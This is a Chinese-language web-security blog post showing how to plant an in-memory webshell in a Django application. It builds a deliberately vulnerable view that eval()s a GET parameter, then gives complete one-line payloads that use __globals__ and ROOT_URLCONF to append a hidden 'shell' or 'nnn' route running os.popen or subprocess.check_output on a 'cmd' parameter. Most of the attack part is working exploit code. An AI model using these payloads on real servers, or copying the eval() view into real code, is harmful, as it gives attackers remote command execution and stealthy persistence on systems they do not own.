掌握Django隐秘漏洞:构建内存马,实现命令执行

内存马作为一种常见的攻击与权限维持手段,往往多见于Java Web应用中,Django在日常开发中使用频率较高的框架,今天来探寻在Python Web场景下的内存马

环境搭建

1.安装Django:如果你还没有安装 Django,可以通过 pip 安装:

pip install django

2.创建Django项目:使用 Django 提供的命令行工具来创建一个新的项目。

django-admin startproject myproject
cd myproject

3.创建应用:在 Django 项目中,你可以创建多个应用。应用可以看作是项目的一个模块或组件。

python manage.py startapp memshell

4.配置URL路由:如你所展示的,在 memshell/urls.py 文件中定义了路由和视图的映射关系。确保在项目的主 urls.py 文件中也包含了对这个应用的引用(如果适用)。

from django.contrib import admin
from django.urls import path
from .views import calc

urlpatterns = [
    path('admin/', admin.site.urls),
    path('calc', calc)
]

5.编写视图:你已经在 memshell/views.py 中定义了一个名为 calc 的视图函数,它接受 GET 请求并计算传入的表达式。

from django.http import HttpResponse

def calc(request):
    result = eval(request.GET.get('exp'))
    return HttpResponse('<h2>result: %s!</h2>' % result)

6.运行服务器:完成上述步骤后,你可以通过以下命令启动开发服务器:

python manage.py runserver

访问/admin

内存马构造

Django使用一个名为urlpatterns的列表来存储所有的URL模式。每个URL模式通常是一个path()url()函数调用的结果,它们将一个特定的URL路径映射到一个视图函数。

现在我们的思路就是动态地向urlpatterns中添加新的路径,可以引入一个新的可访问端点,该端点用于接收命令和返回结果。

Django 中,网站目录下会有一个 settings.py 文件用于定义应用配置,其中 ROOT_URLCONF 指定了当前应用路由入口

现在需要获取到 settings 这个对象

在Python中,函数对象有一个名为__globals__的属性,它指向定义该函数时所在的全局命名空间(即全局变量字典)。通过这个属性,可以从一个局部作用域访问到整个模块的全局变量。在Django视图函数中,可以从request参数关联的任何函数出发,访问到整个模块的全局变量,包括Django项目的设置和URL配置。

那么直接将其导入,就可以获得当前应用的入口

这个时候, 就可以通过访问 urls.urlpatterns 来操作路由列表了

在路由定义中,每一条路由都会调用 path 函数来进行定义

跟进一下

它接收四个参数:routeviewkwargsname,其中kwargsname是可选参数。主要关注的是前两个参数:

  1. **route**: 这是一个字符串,表示匹配的URL模式。
  2. **view**: 这是一个可调用对象,当URL匹配时会被调用。它可以是:
  • 一个普通的Python函数(视图函数)
  • 一个继承自django.views.View的类,并通过.as_view()方法转换为可调用对象
  • 包含(urlconf_module, app_name, namespace)的元组或列表,用于包含其他URL配置

_path函数对view参数有特定的要求,具体如下:

  • 如果view是一个可调用对象(例如普通函数或实现了__call__方法的对象),则直接将其作为视图函数处理。
  • 如果view是一个包含(urlconf_module, app_name, namespace)的元组或列表,则用于包含其他URL配置。
  • 如果view是一个继承自django.views.View的类,则需要调用其.as_view()方法将其转换为可调用对象。
  • 如果view不符合上述任何一种情况,则会抛出TypeError异常。

由于_path函数要求视图参数必须是可调用的,我们可以使用Python的lambda表达式来快速定义一个简单的视图函数。Lambda表达式是一种创建匿名函数的方式,非常适合这种场景。

内存马

__import__('django').urls.path('shell', 
    lambda request: __import__('django').http.HttpResponse(
        __import__('os').popen(request.GET.get('cmd','id')).read()
    )
)

1. 动态导入模块

  • __import__('django'): 使用__import__()动态加载Django模块。这是为了在运行时而不是在脚本启动时加载模块,适合用于需要动态行为的场景。
  • __import__('django').urls.path: 从Django模块中导入path函数,用于定义新的URL模式。
  • __import__('django').http.HttpResponse: 从Django模块中导入HttpResponse类,用于创建HTTP响应对象。
  • __import__('os').popen: 动态加载Python的os模块,并使用popen函数来执行系统命令。

2. 定义新的URL模式

  • 'shell': 这是新添加的URL路径部分。任何对/shell的GET请求都会匹配这个模式。
  • lambda request: ...: 这是一个匿名函数(lambda表达式),用作视图函数处理请求。它接收一个request对象作为输入参数。

3. 视图函数逻辑

  • request.GET.get('cmd','id'): 从HTTP请求的GET参数中获取名为cmd的值。如果未提供cmd参数,则默认使用id命令。
  • __import__('os').popen(...).read(): 使用os.popen函数执行从请求中提取出的命令,并读取其输出结果。
  • __import__('django').http.HttpResponse(...): 将命令执行的结果包装成HTTP响应返回给客户端。

将新路由append到app.urlpatterns中实现内存马

__import__(request.get_port.__globals__["settings"].ROOT_URLCONF).urls.urlpatterns.append(__import__('django').urls.path('shell',lambda request: __import__('django').http.HttpResponse(__import__('os').popen(request.GET.get('cmd','id')).read())))

效果:

也可以使用subprocess.check_output()来执行命令

__import__(__import__('django.conf').conf.settings.ROOT_URLCONF).urls.urlpatterns.append(
    __import__('django').urls.path('nnn', 
        lambda request: __import__('django.http').http.HttpResponse(
            __import__('subprocess').check_output(
                request.GET.get('cmd', 'id'), shell=True)
        )
    )
)

  • 发表于 2025-03-10 17:38:25
  • 阅读 ( 2939 )
  • 分类:WEB安全

0 条评论

请先 登录 后评论
Werqy3
Werqy3

6 篇文章

站长统计